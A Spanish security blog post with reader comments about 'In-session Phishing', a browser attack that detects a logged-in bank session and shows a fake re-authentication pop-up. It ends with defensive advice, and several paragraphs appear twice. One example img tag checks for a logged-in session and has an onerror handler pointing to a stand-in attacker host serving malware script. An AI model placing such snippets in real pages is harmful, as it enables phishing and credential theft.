Recientemente ha sido publicado un nuevo vector de ataque de phishing de mayor complejidad que el clásico envío masivo de correos electrónicos y que podría permitir el robo de credenciales en aplicaciones bancarias, juegos-online, etc. El denominado In-session Phishing, se vale de una vulnerabilidad en la mayoría de los navegadores web, Internet Explorer, Firefox, Safari, o Chrome, al hacer uso de ciertas funciones javascript.
Para explotar con éxito este fallo de seguridad es necesario que se den las dos situaciones siguientes:
1. El usuario este autenticado en la aplicación objetivo del robo de credenciales.
2. Un segundo site que alberga cierto código malicioso sea visitado por el usuario, mientras en la web objetivo se esta todavía autenticado.
Al parecer el navegador procede a albergar una huella cuando una página web que utiliza ciertas funciones javaescript es visitada, funciones muy habituales según sus descubridores, Trusteer. De esta manera es posible desde una segunda página interrogar al cliente con preguntas binarias sobre si se está o no autenticado en un cierto dominio. Si la respuesta es afirmativa, el código malicioso presenta un sencillo pop-up que informa al usuario sobre una falsa caducidad de la sesión y la necesidad de reautenticarse en la aplicación. En ese momento el usuario no percibe ningún comportamiento extraño puesto que hasta el momento confía en que estaba logado en un site totalmente lícito.
El ataque aunque complejo, puede tener terribles consecuencias, dado que según Sophos una web es infectada cada cinco segundos. En cierta forma este tipo de ataque ya había sido discutido en otra variante por el blog ha.ckers.org, mediante el uso de imágenes de acceso restringido a tan solo a usuarios autenticados en la aplicación. Es decir, mediante el uso de un simple tag <.IMG> que haga referencia a una imagen, solo accesible en la parte privada de la aplicación, es posible determinar si el cliente web esta o no autenticado en cierto site.
Para explotar con éxito este fallo de seguridad es necesario que se den las dos situaciones siguientes:
1. El usuario este autenticado en la aplicación objetivo del robo de credenciales.
2. Un segundo site que alberga cierto código malicioso sea visitado por el usuario, mientras en la web objetivo se esta todavía autenticado.
Al parecer el navegador procede a albergar una huella cuando una página web que utiliza ciertas funciones javaescript es visitada, funciones muy habituales según sus descubridores, Trusteer. De esta manera es posible desde una segunda página interrogar al cliente con preguntas binarias sobre si se está o no autenticado en un cierto dominio. Si la respuesta es afirmativa, el código malicioso presenta un sencillo pop-up que informa al usuario sobre una falsa caducidad de la sesión y la necesidad de reautenticarse en la aplicación. En ese momento el usuario no percibe ningún comportamiento extraño puesto que hasta el momento confía en que estaba logado en un site totalmente lícito.
El ataque aunque complejo, puede tener terribles consecuencias, dado que según Sophos una web es infectada cada cinco segundos. En cierta forma este tipo de ataque ya había sido discutido en otra variante por el blog ha.ckers.org, mediante el uso de imágenes de acceso restringido a tan solo a usuarios autenticados en la aplicación. Es decir, mediante el uso de un simple tag <.IMG> que haga referencia a una imagen, solo accesible en la parte privada de la aplicación, es posible determinar si el cliente web esta o no autenticado en cierto site.
<.img src="http://mibanco.com/privado/protegido.jpg" onerror="http://atacante.com/malware-noautenticado.js " />
<.script src="malware.js"> <./script>
<.script src="malware.js"> <./script>
De esta manera es posible saber si se esta o no autenticado, pero claro, este ataque depende de la aplicación desarrollada y con creces tiene un menor impacto que el detectado por el equipo de seguridad de Trusteer.
Así que se aconseja seguir las siguientes recomendaciones de seguridad:
1. Terminar siempre la sesión actual cuando se navegue a través de una zona privada de la aplicación.
2. Desconfiar completamente de pop-ups que no han sido generados por una acción del usuario.
3. Aplicar complementos de seguridad al navegador que permita controlar scripts no deseados.
Así que se aconseja seguir las siguientes recomendaciones de seguridad:
1. Terminar siempre la sesión actual cuando se navegue a través de una zona privada de la aplicación.
2. Desconfiar completamente de pop-ups que no han sido generados por una acción del usuario.
3. Aplicar complementos de seguridad al navegador que permita controlar scripts no deseados.
.png "English"){kind=small}
Entradas
7 comentarios :
Ya sabeis: http://noscript.net/
Si es que sirve para todo...
La verdad es que un gran trabajo el de este addon de Firefox, está siendo de mucha utilizadad para combatir ciertos ataques que han salido recientemente, como el clickjacking o este de in-session phising.
Así es, me sumo a lo que dice José y además les recomiendo el RequestPolicy.
Una consulta, este "In.session Pishing" esta basado en XSS con DNS rebinding, no? Es decir, esa sería la forma de explotarlo correctamente.
Saludos y gracias por los posts tan interesantes :)
AL
Hola Ariel, yo creo que no tiene nada que ver con un XSS, simplemente por algún fallo en una función javascript se sabe si una persona está autenticada en una web o no, y entonces se le muestra una ventana que solicita reautenticación. Si usara algo tipo XSS entonces sólo se podría realizar sobre webs vulnerables, y creo que no es el caso.
De todas maneras que te conteste Roberto que es el que ha estado investigando sobre este tema.
Saludos y gracias por tu comentario :)
Hola Ariel, en primer lugar gracias por tus comentarios en el blog. Como bien dice mi colega Jose Selvi la técnica de In-session Pishing (todavía no hechos públicos sus detalles) no se basa en el clásico XSS sino que se vale de la inyección de código Javascript malicioso en un segundo site (web probablemente lícito para el atacado), que comprobaría si se esta autenticado o no en un conjunto, por ejemplo de webs bancarias. En caso de que alguna de las comprobaciones fuera positiva se lanzaría el pop-up de reaunteticacion proveniente de la web poisoneada. Vulnerando completamente la política del mismo origen de los navegadores.
Buenos dias,
Han tenido novedades relacionadas con este tema? Saben si se han hechos publicas algunos pappers explicando modalidadaes de ataque/funcionamiento? Estoy buscando info del tema, si consiguen algo agradeceria me lo hagan saber.
Muchas gracias.
Saluda atte.
AL
Hola Ariel,
Sigo asiduamente las news de trusteer, para ver si los descubridores del fallo de seguridad publican novedades al respecto , hasta el momento parece ser que están contactando con los desarrolladores de los navegadores para solventar el problema y generar un parche antes de que se publique el vector de ataque.
Un saludo, Roberto.
Trusteer News:
http://www.trusteer.com/home
Muchas gracias Roberto, seguiré atento también a este fallo y ya nos hablaremos en cuanto más información salga a la luz.
Saludos,
AL
Publicar un comentario